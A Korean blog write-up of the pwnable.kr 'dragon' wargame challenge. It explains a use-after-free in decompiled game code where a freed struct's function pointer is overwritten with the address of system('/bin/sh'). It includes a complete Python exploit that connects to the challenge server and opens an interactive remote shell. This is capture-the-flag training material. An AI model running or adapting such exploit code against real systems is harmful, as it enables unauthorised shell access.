본문 바로가기
Wargame/pwnable.kr

[Rookiss] dragon

by bbolmin 2014. 7. 20.


I made a RPG game for my little brother.

But to trick him, I made it impossible to win.

I hope he doesn't get too angry with me :P!


Author : rookiss

Download : http://pwnable.kr/bin/dragon


Running at : nc pwnable.kr 9004




문제는 아주 간단하게 해결할 수 있는 UAF 취약점이다. system("/bin/sh")를 띄우는 코드도 문제 바이너리에 포함되어 있어서 쉽게 해결할 수 있다. 아래는 Hex-ray 코드이다.


void __cdecl FightDragon(int job) { char v1; // al@1 void *v2; // ST1C_4@10 int battleResult; // [sp+10h] [bp-18h]@7 player *player; // [sp+14h] [bp-14h]@1 dragon *dragon; // [sp+18h] [bp-10h]@1 player = (player *)malloc(0x10u); dragon = (dragon *)malloc(0x10u); v1 = Count++; if ( v1 & 1 ) { dragon->type = 1; dragon->HP = 80; dragon->regen = 4; dragon->damage = 10; dragon->f_printInfo = PrintMonsterInfo; puts("Mama Dragon Has Appeared!"); } else { dragon->type = 0; dragon->HP = 50; dragon->regen = 5; dragon->damage = 30; dragon->f_printInfo = PrintMonsterInfo; puts("Baby Dragon Has Appeared!"); } if ( job == 1 ) { player->job = 1; player->HP = 42; player->MP = 50; player->f_printInfo = (int)PrintPlayerInfo; battleResult = PriestAttack(player, dragon); } else { if ( job != 2 ) return; player->job = 2; player->HP = 50; player->MP = 0; player->f_printInfo = (int)PrintPlayerInfo; battleResult = KnightAttack(player, dragon); } if ( battleResult ) { puts("Well Done Hero! You Killed The Dragon!"); puts("The World Will Remember You As:"); v2 = malloc(0x10u); __isoc99_scanf("%16s", v2); puts("And The Dragon You Have Defeated Was Called:"); dragon->f_printInfo(dragon); } else { puts("\nYou Have Been Defeated!"); } free(player); }


PriestAttack나 KnightAttack에서는 할당받은 dragon에 대한 free를 해준 후 리턴한다.

그런데 0x10만큼의 메모리를 할당하고 입력 받는 코드 다음에 "dragon->f_printInfo(dragon);" 를 호출한다.

따라서 dragon변수를 간단하게 조작할 수 있다. dragon 구조체의 첫 4byte가 함수 포인터이므로 입력 값에 system("/bin/sh")의 주소 4byte만 넣어 주면 된다.





[ exploit code ] 


import socket, struct

host = '110.35.38.6'
port = 9004

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

s.recv(1024)
s.recv(1024)
### baby dragon start ###
s.send('2\n')       #Knight
s.recv(1024)
s.recv(1024)
s.send('2\n')
s.recv(1024)
s.recv(1024)
### baby dragon end ###

### mama dragon start ###
s.send('1\n')       #Priest
for i in range(4):
    s.recv(1024)
    s.send('3\n')
    s.recv(1024)
    s.send('3\n')
    s.recv(1024)
    s.send('2\n')
    s.recv(1024)
### mama dragon end ###
s.recv(1024)
#send name
#&system("/bin/sh")
s.send(struct.pack('<i', 0x08048DBF) + '\n')    

#And The Dragon You Have Defeated Was Called:
print s.recv(1024)  

import telnetlib
def telnet_cmd(s):
    print '[*] start shell'
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()

telnet_cmd(s)




idb 첨부


dragon.idb





'Wargame > pwnable.kr' 카테고리의 다른 글

[Rookiss] simple login  (0) 2014.07.27
[Rookiss] brain fuck  (0) 2014.07.26
[Rookiss] ascii_easy  (0) 2014.07.21
[Toddler's Bottle] passcode  (0) 2014.07.19
[Rookiss] fsb  (0) 2014.07.07